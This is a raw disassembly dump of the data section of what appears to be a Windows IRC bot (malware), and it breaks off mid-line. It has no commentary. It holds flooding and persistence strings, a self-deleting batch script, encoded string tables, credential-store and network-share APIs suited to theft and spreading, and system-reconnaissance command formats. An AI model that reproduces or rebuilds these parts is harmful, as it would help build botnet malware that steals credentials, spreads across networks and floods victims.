"%s" reported a crash in "%s": N=%u EAX=%08X EBX=%08X EC' db 'X=%08X EDX=%08X ESI=%08X EDI=%08X EBP=%08X ESP=%08X EIP=%08X EFLA' db 'GS=%08X. Code: %08X (%s). %s...',0 align 4 aContinuing db 'Continuing',0 ; DATA XREF: sub_40332B:loc_40342Ao align 4 aRestarting db 'Restarting',0 ; DATA XREF: sub_40332B+F3o align 4 aException_flt db 'EXCEPTION_FLT',0 ; DATA XREF: sub_40332B:loc_40340Co align 4 aException_stac db 'EXCEPTION_STACK_OVERFLOW',0 ; DATA XREF: sub_40332B:loc_403403o align 10h aException_nonc db 'EXCEPTION_NONCONTINUABLE_EXCEPTION',0 ; DATA XREF: sub_40332B:loc_4033FAo align 4 aException_int_ db 'EXCEPTION_INT_DIVIDE_BY_ZERO',0 ; DATA XREF: sub_40332B:loc_4033F1o align 4 aException_ille db 'EXCEPTION_ILLEGAL_INSTRUCTION',0 ; DATA XREF: sub_40332B:loc_4033E8o align 4 aException_brea db 'EXCEPTION_BREAKPOINT',0 ; DATA XREF: sub_40332B:loc_4033DFo align 4 aException_acce db 'EXCEPTION_ACCESS_VIOLATION',0 ; DATA XREF: sub_40332B:loc_4033D6o align 4 aException_othe db 'EXCEPTION_OTHER',0 ; DATA XREF: sub_40332B+27o aUdp db 'udp',0 ; DATA XREF: sub_4038BA+27Co aInternetgetcon db 'InternetGetConnectedStateExA',0 ; DATA XREF: sub_403BD3+20Bo align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_403BD3:loc_403DCAo aPstorecreatein db 'PStoreCreateInstance',0 ; DATA XREF: sub_403BD3+1E4o align 10h aPstorec_dll db 'pstorec.dll',0 ; DATA XREF: sub_403BD3:loc_403DA3o aFreeaddrinfo db 'freeaddrinfo',0 ; DATA XREF: sub_403BD3+184o align 4 aGetnameinfo db 'getnameinfo',0 ; DATA XREF: sub_403BD3+171o aGetaddrinfo db 'getaddrinfo',0 ; DATA XREF: sub_403BD3+15Eo aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_403BD3:loc_403D23o align 10h aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_403BD3+13Do align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_403BD3+12Ao align 10h aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_403BD3+117o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_403BD3+104o aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_403BD3:loc_403CC3o aNetaddalternat db 'NetAddAlternateComputerName',0 ; DATA XREF: sub_403BD3+DDo aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_403BD3+CAo align 10h aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_403BD3+B7o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_403BD3+A4o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_403BD3+91o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_403BD3+7Eo aNetusedel db 'NetUseDel',0 ; DATA XREF: sub_403BD3+6Bo align 4 aNetuseadd db 'NetUseAdd',0 ; DATA XREF: sub_403BD3+58o align 4 aNetusegetinfo db 'NetUseGetInfo',0 ; DATA XREF: sub_403BD3+45o align 4 aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_403BD3:loc_403C00o align 4 aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_403BD3+1Ao align 10h aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_403BD3+6o align 10h aUseridUnix db ' : USERID : UNIX : ',0 ; DATA XREF: sub_403DF3:loc_403F57o dword_4189C4 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 6920676Eh ; DATA XREF: sub_403DF3+6Eo dd 746E6564h, 65732064h, 72657672h, 206E6F20h, 74726F70h dd 34300320h, 3732502h, 2 dword_4189F8 dd 6E656449h, 73206474h, 65767265h, 6E6F2072h, 726F7020h ; DATA XREF: sub_403FE5+7Eo dd 30032074h, 73250234h, 203h dword_418A18 dd 333131h ; DATA XREF: sub_403FE5:loc_403FFDo dword_418A1C dd 0BF988BA8h, 0CCFDEEB5h, 0AB86A2B0h, 0B9h, 0 ; DATA XREF: sub_4043E9+6o dword_418A30 dd 2E3031h ; DATA XREF: sub_4041B7+56o dword_418A34 dd 2E323931h, 2E383631h, 0 ; DATA XREF: sub_4041B7+3Bo dword_418A40 dd 2E323731h, 0 ; DATA XREF: sub_4041B7+20o dword_418A48 dd 2E373231h, 0 ; DATA XREF: sub_4041B7+5o dword_418A50 dd 252E7525h, 75252E75h, 75252Eh ; DATA XREF: sub_40D871+1CCo ; sub_41113B+45Ao dword_418A5C dd 313A3Ah ; DATA XREF: sub_40435B+42o dword_418A60 dd 7525h ; DATA XREF: sub_4055E5+458o ; sub_4055E5+69Eo ... dword_418A64 dd 252E7525h, 75252E75h, 3A75252Eh, 7525h ; DATA XREF: sub_4055E5+31Eo ; sub_4055E5+40Bo ... aU_U_U_UU db '%u.%u.%u.%u:%u',0Dh,0Ah,0 ; DATA XREF: sub_4055E5+2A3o ; sub_4055E5+3AFo ... align 4 aU db '%u',0Dh,0Ah,0 ; DATA XREF: sub_4055E5+229o ; sub_4055E5+351o ... align 10h aLgFlooder db 'LG flooder',0 ; DATA XREF: sub_405E45+109o align 4 aGetmoduleinfor db 'GetModuleInformation',0 ; DATA XREF: sub_405FA3+5Eo align 4 aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_405FA3+4Bo align 4 aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_405FA3+38o align 10h aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_405FA3:loc_405FC8o align 10h aPsapi_dll db 'psapi.dll',0 ; DATA XREF: sub_405FA3+Fo align 4 aSystem db 'system',0 ; DATA XREF: sub_406041+136o ; .data:0041BBD0o ... align 4 dword_418B04 dd 2343003h, 3693425h, 25202E02h, 20583830h, 58383025h ; DATA XREF: sub_40637C+FEo dd 732520h dword_418B1C dd 3430032Dh, 3752502h, 4C202D02h, 69747369h, 320676Eh ; DATA XREF: sub_40637C+51o dd 25023430h, 2032569h, 6F727020h, 73736563h, 3A7365h dword_418B44 dd 7473694Ch, 6F727020h, 73736563h, 7365h ; DATA XREF: sub_4064BF+31o dword_418B54 dd 58323025h, 0 ; DATA XREF: sub_406722+266o ; sub_4147E5+11o ... dword_418B5C dd 58383025h, 0 ; DATA XREF: sub_406722+201o ; sub_40A9CF+1C12o dword_418B64 dd 7325h ; DATA XREF: sub_406722+1E3o ; sub_406722+296o ... aHkus db 'HKUS',0 ; DATA XREF: sub_406722+8Do align 10h aHklm db 'HKLM',0 ; DATA XREF: sub_406722+6Bo align 4 aHkcu db 'HKCU',0 ; DATA XREF: sub_406722+49o align 10h aHkcr db 'HKCR',0 ; DATA XREF: sub_406722+27o align 4 off_418B88 dd offset dword_418DD0 ; DATA XREF: sub_406E8E+4Br ; sub_406E8E+8Dr ... off_418B8C dd offset dword_418DA8 ; DATA XREF: sub_406E8E+106r ; sub_406E8E+12Ar ... dd offset dword_418D98 dd offset dword_418DA8 dd offset loc_418D88 dd offset dword_418D64 dd offset dword_418D54 dd offset dword_418D34 dd offset loc_418D20 dd offset dword_418D34 dd offset dword_418D0C dd offset dword_418CF4 dd offset dword_418CE4 dd offset dword_418CD0 dd offset dword_418CBC dd offset dword_418C9C dd offset dword_418C88 dd offset dword_418C6C dd offset dword_418C5C dd offset dword_418C6C dd offset loc_418C4C dd offset dword_418C24 dd offset dword_418C10 dd offset dword_418BF0 align 10h dword_418BF0 dd 0E38C9592h, 0C4FDFFECh, 0A0A1ACA1h, 0EEB2FCB9h, 0D4CF88BAh ; DATA XREF: .data:00418BE4o dd 0CDFEFCFBh, 9AE9A7h, 0 dword_418C10 dd 0E19799B6h, 0C7E0E3EFh, 0AB90E9FBh, 2 dup(0) ; DATA XREF: .data:00418BE0o dword_418C24 dd 0FD9F8C9Eh, 0D6F3EFEAh, 0EE86E3BCh, 0E5B9F881h, 0F0A8DCADh ; DATA XREF: .data:00418BDCo dd 0C3E5E9F7h, 0ABBBACACh, 0E3A9EFBFh, 0BAh, 0 ; --------------------------------------------------------------------------- loc_418C4C: ; DATA XREF: .data:00418BD8o mov esi, 0ADE28890h jmp locret_425440 ; --------------------------------------------------------------------------- align 4 dd 0 dword_418C5C dd 0FE808CACh, 8CE4FFCAh, 8DF4B0h, 0 ; DATA XREF: .data:00418BD0o dword_418C6C dd 0FE808C8Ch, 82E0E9EFh, 9D8AF986h, 0E5B4EAB4h, 0E1AEDCB2h ; DATA XREF: .data:00418BCCo ; .data:00418BD4o dd 0F3h, 0 dword_418C88 dd 0FE808CACh, 0C1E4FFEFh, 0AB90E9FBh, 2 dup(0) ; DATA XREF: .data:00418BC8o dword_418C9C dd 0F5819588h, 82E1FBECh, 0B99CE99Bh, 0A0ABEBA2h, 0F49D9599h ; DATA XREF: .data:00418BC4o dd 0CEFEEDF4h, 2 dup(0) dword_418CBC dd 0F49D95B9h, 0CEFEEDF4h, 0AB90E9FBh, 2 dup(0) ; DATA XREF: .data:00418BC0o dword_418CD0 dd 0F0819588h, 0E3B2FCEEh, 0BA86E9B2h, 2 dup(0) ; DATA XREF: .data:00418BBCo dword_418CE4 dd 0F08195A8h, 0C7BCFCEEh, 0E9ADh, 0 ; DATA XREF: .data:00418BB8o dword_418CF4 dd 0F5819588h, 82E1FBECh, 0A298F490h, 0F2A5EBA2h, 2 dup(0) ; DATA XREF: .data:00418BB4o dword_418D0C dd 0FD9F84BAh, 0D0F7FEECh, 0AB90E9FBh, 2 dup(0) ; DATA XREF: .data:00418BB0o ; --------------------------------------------------------------------------- loc_418D20: ; DATA XREF: .data:00418BA8o test al, 95h sbb eax, 0CCFDEBECh sti jmp loc_4238BE ; --------------------------------------------------------------------------- align 10h dd 0 dword_418D34 dd 0F5819588h, 82E1FBECh, 0A18FE399h, 0F081B9A3h, 0F28690AFh ; DATA XREF: .data:00418BA4o ; .data:00418BACo dd 0CDFBF8E2h, 0BBh, 0 dword_418D54 dd 0FE8893B3h, 0DAF7A2EDh, 0B0h, 0 ; DATA XREF: .data:00418BA0o dword_418D64 dd 0F486909Ch, 0F1B2F8EDh, 0AB9EFEB0h, 0F592B9BFh, 0FC8688B1h ; DATA XREF: .data:00418B9Co dd 0D0C2ACE6h, 0BD8DEFBAh, 0BEh, 0 ; --------------------------------------------------------------------------- loc_418D88: ; DATA XREF: .data:00418B98o mov esp, 0ADE29D8Fh jmp loc_42557C ; --------------------------------------------------------------------------- align 8 dword_418D98 dd 0E28E8F96h, 0DAF7A2F0h, 0B0h, 0 ; DATA XREF: .data:00418B90o dword_418DA8 dd 0F08C9393h, 0C7C1ACEFh, 0A79AF9B6h, 0C1E0E0B9h, 0FE8788AAh ; DATA XREF: .data:off_418B8Co ; .data:00418B94o dd 0DBE6E5F1h, 0BC8DDFF5h, 0E5A3F0BBh, 2 dup(0) dword_418DD0 dd 0F09C8FB3h, 0DAF7A2F0h, 0B0h, 0 ; DATA XREF: .data:off_418B88o dword_418DE0 dd 293Ah ; DATA XREF: sub_406A23+9Co dword_418DE4 dd 5Ch ; DATA XREF: sub_406A23+1Bo ; sub_406AE7+1Bo ... dword_418DE8 dd 7078655Ch, 65726F6Ch, 78652E72h, 65h ; DATA XREF: sub_406B81+1Bo aSoftwareMicros db 'Software\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_406C51+1Co align 4 a@echoOffDelete db '@echo off',0Dh,0Ah ; DATA XREF: sub_406D90+A8o db ':deleteagain',0Dh,0Ah db 'del /A:H /F %s',0Dh,0Ah db 'del /F %s',0Dh,0Ah db 'if exist %s goto deleteagain',0Dh,0Ah db 'del %s',0Dh,0Ah,0 align 4 a_bat db '.bat',0 ; DATA XREF: sub_406D90+39o align 4 aWindowsDllLoad db 'Windows DLL Loader',0 ; DATA XREF: sub_406E8E+20Do ; sub_407148+19Do align 10h aQuitSUninstall db 'QUIT :%s uninstalled.',0 ; DATA XREF: sub_407148+177o ; sub_407148+1C9o align 4 dword_418EB8 dd 6E6E6F43h, 69746365h, 66206E6Fh, 206D6F72h, 2343003h ; DATA XREF: sub_40732D+115o dd 2037325h, 206F7420h, 6B636F73h, 34300373h, 3752502h dd 65732002h, 72657672h, 7325h dword_418EEC dd 6A657220h, 65746365h, 64h ; DATA XREF: sub_40732D:loc_407423o dword_418EF8 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 7320676Eh ; DATA XREF: sub_40764D+6Ao dd 736B636Fh, 72657320h, 20726576h, 70206E6Fh, 2074726Fh dd 2343003h, 2037325h, 0 dword_418F2C dd 6B636F53h, 65732073h, 72657672h, 206E6F20h, 74726F70h ; DATA XREF: sub_4077DD+9Co dd 34300320h, 3732502h, 2 dword_418F4C dd 20h ; DATA XREF: sub_407928+4Co ; sub_407928+96o ... dword_418F50 dd 30h ; DATA XREF: sub_407E0C+CBo ; sub_40CA29+13Do ... dword_418F54 dd 252E7325h, 73252E73h, 73252Eh ; DATA XREF: sub_407F3D+118o ; sub_40806A+BDo dword_418F60 dd 0BF818FB2h, 0FFE3E0h, 0 ; DATA XREF: sub_408887+6o dword_418F6C dd 0BF988BA8h, 0D0E0E9F7h, 0A18BA2B4h, 0F2A2B7A0h, 2 dup(0) ; DATA XREF: sub_408887+14o dword_418F84 dd 0BF818FB2h, 0E9E7h, 0 ; DATA XREF: sub_408887+22o dword_418F90 dd 0FC9A9DBBh, 0D6F7E2ADh, 2 dup(0) ; DATA XREF: sub_408887+30o dword_418FA0 dd 0F68093B8h, 0C3BCE9EFh, 0B0h, 0 ; DATA XREF: sub_408887+3Eo dword_418FB0 dd 0F48195B1h, 8CFCFFEEh, 0E085E3B6h, 0ECACh, 0 ; DATA XREF: sub_408887+4Co off_418FC4 dd offset dword_4190E8 ; DATA XREF: sub_4088FC+19r ; sub_4088FC+60r off_418FC8 dd offset dword_4190B4 ; DATA XREF: sub_4088FC+8Ar dd offset dword_419098 dd offset dword_419054 dd offset dword_41903C dd offset dword_418FE4 dd 2 dup(0) dword_418FE4 dd 0FF9893BBh, 0C6F3E3EFh, 0A389EBFBh, 0F9EEEAA8h, 0FE8094BEh ; DATA XREF: .data:00418FD8o dd 0CFFDEFADh, 0A389EBFAh, 0E4EFEAA8h, 0FD818BB0h, 8DF6EDECh dd 0A08FE5A6h, 0F0EFFDA8h, 0F08C8CB0h, 0C3EBA3F3h, 9187E3BDh dd 0E5AAFCAFh, 0F48399A8h, 0D6CDBEE7h, 0FFC5BDB8h, 0E5B8FCE3h dd 2 dup(0) dword_41903C dd 0F6C18FAAh, 0D1F7E1E2h, 0A791A2E4h, 0E3EEFEA0h, 91B0h ; DATA XREF: .data:00418FD4o dd 0 dword_419054 dd 0FF9893BBh, 0C6F3E3EFh, 0FFC7BFFAh, 0B3EFFFE2h, 0A0DB9AEEh ; DATA XREF: .data:00418FD0o dd 8FA5BEB7h, 0ABDCBCEDh, 0E6F8ADE0h, 0F2D7D1E6h, 97BFB4B2h dd 0F78CBDB4h, 0B8F5FBFEh, 0BE8ACFEAh, 0D1F3FFEEh, 0E08BE2ACh dd 0A5E1A8h, 0 dword_419098 dd 0FF9893BBh, 0C6F3E3EFh, 0AD81E1FBh, 0EFB3F6BFh, 0F2C188B9h ; DATA XREF: .data:00418FCCo dd 0E1ECh, 0 dword_4190B4 dd 0F09B9DBBh, 8DFCE9ACh, 0E18FE5B7h, 0F2B2ECAEh, 0BE9B92BAh ; DATA XREF: .data:off_418FC8o dd 0C5FDE3C4h, 0A1BCE9B9h, 0E1A2F5A2h, 0E281B5ADh, 0CEFEEDF7h dd 0ABC6FEB0h, 0FCB5h, 0 dword_4190E8 dd 0FD8093ABh, 8CE0EDE1h, 0A987E3B2h, 0E3EEFCA1h, 91B0h ; DATA XREF: .data:off_418FC4o dd 0 off_419100 dd offset loc_415353+2 ; DATA XREF: sub_408342+2Co dword_419104 dd 74737953h, 69206D65h, 726F666Eh, 6974616Dh, 2D206E6Fh ; DATA XREF: sub_4083AD+3CEo dd 3A534F20h, 6E695720h, 73776F64h, 34300320h, 3732502h dd 25282002h, 76202C73h, 2343003h, 252E6425h, 2C020364h dd 30036220h, 64250234h, 2E290203h, 55504320h, 7325203Ah dd 34300320h, 3642502h, 7A484D02h, 6152202Eh, 3203A6Dh dd 25023430h, 4D020364h, 30032F42h, 64250234h, 424D0203h dd 65726620h, 49202E65h, 3A367650h, 34300320h, 3732502h dd 55202E02h, 6D697470h, 3203A65h, 25023430h, 64020364h dd 73257961h, 34300320h, 3642502h, 756F6802h, 20732572h dd 2343003h, 2036425h, 756E696Dh, 73256574h, 6F43202Eh dd 7475706Dh, 616E7265h, 203A656Dh, 2343003h, 2037325h dd 7355202Eh, 203A7265h, 2343003h, 2037325h, 0A0D2Eh dword_4191F4 dd 73h ; DATA XREF: sub_4083AD:loc_4086C8o ; sub_4083AD:loc_4086E7o ... aProcessornames db 'ProcessorNameString',0 ; DATA XREF: sub_4083AD+2D2o aHardwareDescri db 'HARDWARE\DESCRIPTION\System\CentralProcessor\0',0 ; DATA XREF: sub_4083AD+296o align 4 aNo db 'No',0 ; DATA XREF: sub_4083AD:loc_4085EBo ; sub_408B30:loc_408CB4o ... align 10h aYes db 'Yes',0 ; DATA XREF: sub_4083AD+232o ; sub_408B30+178o ... a2003 db '2003',0 ; DATA XREF: sub_4083AD+1FFo align 4 aXp db 'XP',0 ; DATA XREF: sub_4083AD+1E1o align 10h a2000 db '2000',0 ; DATA XREF: sub_4083AD+1C3o align 4 aMe db 'ME',0 ; DATA XREF: sub_4083AD+1A5o align 4 a98 db '98',0 ; DATA XREF: sub_4083AD+187o align 10h aNt db 'NT',0 ; DATA XREF: sub_4083AD+166o align 4 a95 db '95',0 ; DATA XREF: sub_4083AD+153o align 4 aNoSp db 'no SP',0 ; DATA XREF: sub_4083AD+12Eo align 10h a?: ; DATA XREF: sub_4083AD+124o unicode 0, <?>,0 aSysinfoThread db 'Sysinfo thread',0 ; DATA XREF: sub_4087C4+2Bo align 4 dword_419284 dd 7774654Eh, 206B726Fh, 6F666E69h, 74616D72h, 206E6F69h ; DATA XREF: sub_408B30+2D4o dd 6F48202Dh, 203A7473h, 2343003h, 2037325h, 614E202Eh dd 203A656Dh, 2343003h, 2037325h, 7954202Eh, 203A6570h dd 2343003h, 2037325h, 5049202Eh, 203A3676h, 2343003h dd 2037325h, 6946202Eh, 61776572h, 64656C6Ch, 3003203Ah dd 73250234h, 202E0203h, 6574614Ch, 3A79636Eh, 34300320h dd 3732502h, 25202C02h, 53202E75h, 64656570h, 3003203Ah dd 30250234h, 366322Eh, 424B2B02h, 6365732Fh, 5249202Eh dd 70552043h, 656D6974h, 3003203Ah, 64250234h, 61640203h dd 20732579h, 2343003h, 2036425h, 72756F68h, 3207325h dd 25023430h, 6D020364h, 74756E69h, 2E732565h, 0 aGood db 'Good',0 ; DATA XREF: sub_408B30+1F9o align 4 aAvarage db 'Avarage',0 ; DATA XREF: sub_408B30+1E3o aBad db 'Bad',0 ; DATA XREF: sub_408B30+1CDo aLan db 'LAN',0 ; DATA XREF: sub_408B30:loc_408C8Fo aModem db 'Modem',0 ; DATA XREF: sub_408B30+14Do align 10h aUnknown_0 db 'Unknown',0 ; DATA XREF: sub_408B30+F5o ; sub_408B30+108o aNetinfoThread db 'Netinfo thread',0 ; DATA XREF: sub_408E4A+2Bo align 4 dword_419398 dd 5C3A41h ; DATA XREF: sub_408E8E+6r ; sub_408F2E+4Er ... dword_41939C dd 6F547325h, 206C6174h, 76697264h, 203A7365h, 2343003h ; DATA XREF: sub_408F2E+270o dd 2037525h, 6F54202Ch, 206C6174h, 63617073h, 3203A65h dd 25023430h, 4D020375h, 72662042h, 2E6565h dword_4193D4 dd 30037325h, 73250234h, 73250203h, 0 ; DATA XREF: sub_408F2E+1EDo dword_4193E4 dd 30037325h, 73250234h, 73250203h, 34300320h, 3752502h ; DATA XREF: sub_408F2E+1C5o dd 20424D02h, 65657266h, 0 dword_419404 dd 202Eh ; DATA XREF: sub_408F2E+17Co ; sub_408F2E+24Ao aUnknown db 'unknown',0 ; DATA XREF: sub_408F2E:loc_40902Do ; sub_4129CA+34o aRamdisk db 'ramdisk',0 ; DATA XREF: sub_408F2E+F6o aCdRom db 'cd-rom',0 ; DATA XREF: sub_408F2E+E4o align 10h aRemote db 'remote',0 ; DATA XREF: sub_408F2E+D2o align 4 aFixed db 'fixed',0 ; DATA XREF: sub_408F2E+C0o align 10h aRemovable db 'removable',0 ; DATA XREF: sub_408F2E+AEo align 4 aDriveInformati db 'Drive information - ',0 ; DATA XREF: sub_408F2E+2Eo align 4 aDriveinfoThrea db 'Driveinfo thread',0 ; DATA XREF: sub_4091E2+2Bo align 4 aThread db 'thread',0 ; DATA XREF: sub_4093B6+98o ; sub_4094E6+93o align 10h aBtg db 'btg',0 ; DATA XREF: sub_4093B6+93o dword_419474 dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_4093B6+67o aBtgTriedExecut db '- btg tried executing an unreadable address. (%08X)',0 aS db '*%s*',0 ; DATA XREF: sub_4097A7+81o ; sub_4098F3+C4o align 4 dword_4194BC dd 2343003h, 2036925h, 7325202Eh, 0 ; DATA XREF: sub_409AD5+DAo dword_4194CC dd 3430032Dh, 2037802h ; DATA XREF: sub_409AD5:loc_409B25o aNoThreadsRunni db '- No threads running.',0 align 4 dword_4194EC dd 3430032Dh, 2037802h, 694C202Dh, 6E697473h, 30032067h ; DATA XREF: sub_409AD5+3Ao dd 69250234h, 32F0203h, 25023430h, 20020369h, 65726874h dd 3A736461h, 0 aCouldNotGetAVa db 'Could not get a valid ICMP handle',0Ah,0 ; DATA XREF: sub_409CB1+15o align 10h dword_419540 dd 2343003h, 2036425h, 2020202Eh, 3 dup(2020202Ah), 6F727245h ; DATA XREF: sub_409DD0+3A3o dd 30033A72h, 64250234h, 203h dword_419568 dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h ; DATA XREF: sub_409DD0+37Fo dd 736D6425h, 34300320h, 2E642502h, 252E6425h, 64252E64h dd 203h dword_419594 dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h ; DATA XREF: sub_409DD0+32Fo dd 736D6425h, 34300320h, 3732502h, 25282002h, 64252E64h dd 2E64252Eh, 296425h aCouldNotResolv db 'Could not resolve name',0 ; DATA XREF: sub_409DD0:loc_409F06o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409DD0+80o aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409DD0+6Ao align 4 aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409DD0:loc_409E24o align 4 aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: sub_409DD0+34o align 4 unk_419618 db 55h ; U ; DATA XREF: sub_40A1A7+Co db 73h, 61h, 67h db 65h ; e db 3Ah, 20h, 3 db 30h ; 0 db 34h, 2, 74h db 72h ; r db 61h, 63h, 65h db 3 db 2, 20h, 3Ch db 3 db 30h, 34h, 2 db 68h ; h db 6Fh, 73h, 74h db 3 db 2, 3Eh, 20h aHopcountTimeou db '[<hopcount> <timeout> <pingcount>]',0 align 4 dword_41965C dd 202h ; DATA XREF: sub_40A2D2+159o dword_419660 dd 0A0D7325h, 0 ; DATA XREF: sub_40A2D2+6Eo dword_419668 dd 3334h ; DATA XREF: sub_40A2D2+41o dword_41966C dd 3430032Dh, 3752502h, 51202D02h, 79726575h, 20676E69h ; DATA XREF: sub_40A2D2+24o dd 2343003h, 2037325h, 726F6620h, 34300320h, 3732502h dd 3A02h dword_419698 dd 6F727245h, 75712072h, 69797265h, 320676Eh, 25023430h ; DATA XREF: sub_40A4A4+44o dd 2E020373h, 0 dword_4196B4 dd 72657551h, 676E6979h, 34300320h, 3732502h, 6F662002h ; DATA XREF: sub_40A50E+97o dd 30032072h, 73250234h, 203h dword_4196D4 dd 0F88094A8h, 0D0F3A2F0h, 0A0C6E2BCh, 0EDA8h, 0 ; DATA XREF: sub_40A50E:loc_40A562o aAbcdef db 'abcdef',0 ; DATA XREF: sub_40A8AD+1Bo align 10h aUsername db 'username',0 ; DATA XREF: sub_40A9CF:loc_40C8EAo align 4 aId db 'id',0 ; DATA XREF: sub_40A9CF+1EF2o align 10h dword_419700 dd 12EA0h ; DATA XREF: sub_40A9CF+1ECDr align 8 dword_419708 dd 69747055h, 2D20656Dh, 73795320h, 3A6D6574h, 34300320h ; DATA XREF: sub_40A9CF+1EB1o dd 3642502h, 79616402h, 3207325h, 25023430h, 68020364h dd 2572756Fh, 30032073h, 64250234h, 696D0203h, 6574756Eh dd 202E7325h, 3A435249h, 34300320h, 3642502h, 79616402h dd 3207325h, 25023430h, 68020364h, 2572756Fh, 30032073h dd 64250234h, 696D0203h, 6574756Eh, 7325h dword_41977C dd 4DC8A28h ; DATA XREF: sub_40A9CF+1C87r dd 2 dup(0) dword_419788 dd 4D38h ; DATA XREF: sub_40A9CF+1C72r align 10h dword_419790 dd 22710E8h ; DATA XREF: sub_40A9CF+1C4Br dd 2 dup(0) a9252 db '9252',0 ; DATA XREF: sub_40A9CF+1BFAo align 4 dword_4197A4 dd 99C3EAA0h ; DATA XREF: sub_40A9CF+1BE9r dd 3 dup(0) dword_4197B4 dd 261D51F8h ; DATA XREF: sub_40A9CF+1BC2r align 10h dword_4197C0 dd 260A0h ; DATA XREF: sub_40A9CF+1BADr align 8 dword_4197C8 dd 1371D1F8h ; DATA XREF: sub_40A9CF+1B86r dd 2 dup(0) dword_4197D4 dd 135E8h ; DATA XREF: sub_40A9CF+1B71r dd 0 dword_4197DC dd 0E7606A0h ; DATA XREF: sub_40A9CF+1B36r dd 2 dup(0) dword_4197E8 dd 6B6E696Ch, 30037620h, 64250234h, 32E0203h, 25023430h ; DATA XREF: sub_40A9CF+1B17o dd 3643330h, 20732502h, 6E69575Bh, 5D3233h dword_41980C dd 18820E30h ; DATA XREF: sub_40A9CF+1AFCr dd 2 dup(0) dword_419818 dd 18788h ; DATA XREF: sub_40A9CF+1AE7r align 10h dword_419820 dd 65657053h, 3203A64h, 25023430h, 4B020375h, 65732F42h ; DATA XREF: sub_40A9CF+1AC8o dd 63h dword_419838 dd 4CBE20h ; DATA XREF: sub_40A9CF+19B1r dd 2 dup(0) dword_419844 dd 2343003h, 2037325h ; DATA XREF: sub_40A9CF+1992o aHasNoIpv4End_ db ' has no ipv4 end.',0 align 10h dword_419860 dd 20656854h, 34767069h, 646E6520h, 20666F20h, 2343003h ; DATA XREF: sub_40A9CF+1976o dd 2037325h, 20736920h, 2343003h, 252E6925h, 69252E69h dd 369252Eh, 2 a2002 db '2002',0 ; DATA XREF: sub_40A9CF+1851o align 4 dword_419898 dd 0E7AAB82Ch ; DATA XREF: sub_40A9CF+180Br dd 3 dup(0) dword_4198A8 dd 2343003h, 2037325h, 44202D20h, 203A534Eh, 2343003h ; DATA XREF: sub_40A9CF+17C1o dd 2037325h, 0 dword_4198C4 dd 158F28h ; DATA XREF: sub_40A9CF+1710r align 10h dword_4198D0 dd 6F727245h, 65722072h, 766C6F73h, 20676E69h, 2343003h ; DATA XREF: sub_40A9CF+16F1o ; sub_40A9CF+17ECo dd 2037325h, 2Eh dword_4198EC dd 2343003h, 2037325h, 55202D20h, 6F6E6B6Eh, 74206E77h ; DATA XREF: sub_40A9CF+16AAo dd 20657079h, 2343003h, 2036425h, 64646120h, 73736572h dd 3003203Ah, 73250234h, 203h dword_419920 dd 2343003h, 2037325h, 49202D20h, 20367650h, 72646461h ; DATA XREF: sub_40A9CF+1659o dd 3A737365h, 34300320h, 3732502h, 2 dword_419944 dd 2343003h, 2037325h, 49202D20h, 20347650h, 72646461h ; DATA XREF: sub_40A9CF+1602o dd 3A737365h, 34300320h, 3732502h, 2 dword_419968 dd 3Ch ; DATA XREF: sub_40A9CF:loc_40BFBAo ; sub_40A9CF:loc_40C011o ... dword_41996C dd 0FF28h ; DATA XREF: sub_40A9CF+1534r dd 0 aQuitChangingSe db 'QUIT :changing server',0 ; DATA XREF: sub_40A9CF:loc_40BED3o align 4 dword_41998C dd 5B7606ABh ; DATA XREF: sub_40A9CF+14F5r dd 3 dup(0) dword_41999C dd 26C9788h ; DATA XREF: sub_40A9CF+14E0r dd 2 dup(0) dword_4199A8 dd 48B0h ; DATA XREF: sub_40A9CF+14B2r align 10h dword_4199B0 dd 4CEEE8h ; DATA XREF: sub_40A9CF+1484r dd 2 dup(0) dword_4199BC dd 0ECE0h ; DATA XREF: sub_40A9CF+146Fr dd 0 dword_4199C4 dd 0DC9BA4F1h ; DATA XREF: sub_40A9CF+1450r dd 3 dup(0) dword_4199D4 dd 72616843h, 65746361h, 6E692072h, 68202D20h, 203A7865h ; DATA XREF: sub_40A9CF+1431o dd 2343003h, 30257830h, 2035832h, 63656420h, 3003203Ah dd 75250234h, 2E0203h dword_419A04 dd 8A248h ; DATA XREF: sub_40A9CF+1400r align 10h dword_419A10 dd 2D77B5A0h ; DATA XREF: sub_40A9CF+1399r dd 2 dup(0) dword_419A1C dd 10468h ; DATA XREF: sub_40A9CF+1374r dd 0 dword_419A24 dd 12BBA0h ; DATA XREF: sub_40A9CF+135Fr align 10h dword_419A30 dd 1471A0h ; DATA XREF: sub_40A9CF+134Ar dd 2 dup(0) dword_419A3C dd 45444F4Dh, 732520h ; DATA XREF: sub_40A9CF+1333o dword_419A44 dd 8BD28h ; DATA XREF: sub_40A9CF+1310r align 10h dword_419A50 dd 1277AE62h ; DATA 